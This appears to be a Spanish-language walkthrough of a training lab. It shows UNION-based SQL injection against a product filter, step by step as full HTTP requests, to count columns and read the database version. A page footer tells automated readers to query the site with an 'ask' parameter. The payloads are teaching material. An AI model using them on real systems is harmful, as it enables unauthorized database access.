# Lab 4: SQL injection attack, querying the database type and version on MySQL and Microsoft

Se inicia el laboratorio y al interactuar con los filtros de busqueda:

Se genera la siguiente peticion:

```
GET /filter?category=Food+%26+Drink HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Y esto responde con:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 8352

```

Asi que procedemos a realizar nuestra primera inyeccion SQL: `'+order+by+1#`

```
GET /filter?category='+order+by+1# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Lo anterior responde con:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3905

```

Enviamos la siguiente peticion incrementando el numero a 2:

```
GET /filter?category='+order+by+2# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Y lo anterior respondera con:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3905

```

Y finalizamos con el numero 3:

```
GET /filter?category='+order+by+3# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Esta peticion entrega un error:

```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554

```

Luego de lo anterior, podemos afirmar que tenemos dos campos para poder retornar data:

Otra forma de validar, es utilizando UNION: `'+UNION+SELECT+NULL#`

```
GET /filter?category='+UNION+SELECT+NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Y lo anterior retorna un error:

```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554

```

Y si agregamos otro NULL:

```
GET /filter?category='+UNION+SELECT+NULL,NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Se obtiene una respuesta sin codigos de error:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3976

```

Y si incrementamos, obviamente saldra un error:

```
GET /filter?category='+UNION+SELECT+NULL,NULL,NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Lo anterior, responde asi:

```
HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2554

```

Se procede a validar el tipo de dato para cada columna:

```
GET /filter?category='+UNION+SELECT+'Spartan','Cybersecurity'# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Y se logra detectar que ambos campos son de tipo STRING:

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 4108

```

Por lo anterior, finalizamos con la inyeccion que retorna la version:

```
GET /filter?category='+UNION+SELECT+@@version,+NULL# HTTP/2
Host: 0a0f00790407044482581a7e000a008b.web-security-academy.net
Cookie: session=0K44VOczBGqjjsestx2sxen5okKNiH33
Sec-Ch-Ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a0f00790407044482581a7e000a008b.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

Lo anterior responde asi:

<figure><img src="/files/PFPveZ2pScDlh6cThtRb" alt=""><figcaption></figcaption></figure>


---

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If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/sql-injection/lab-4-sql-injection-attack-querying-the-database-type-and-version-on-mysql-and-microsoft.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.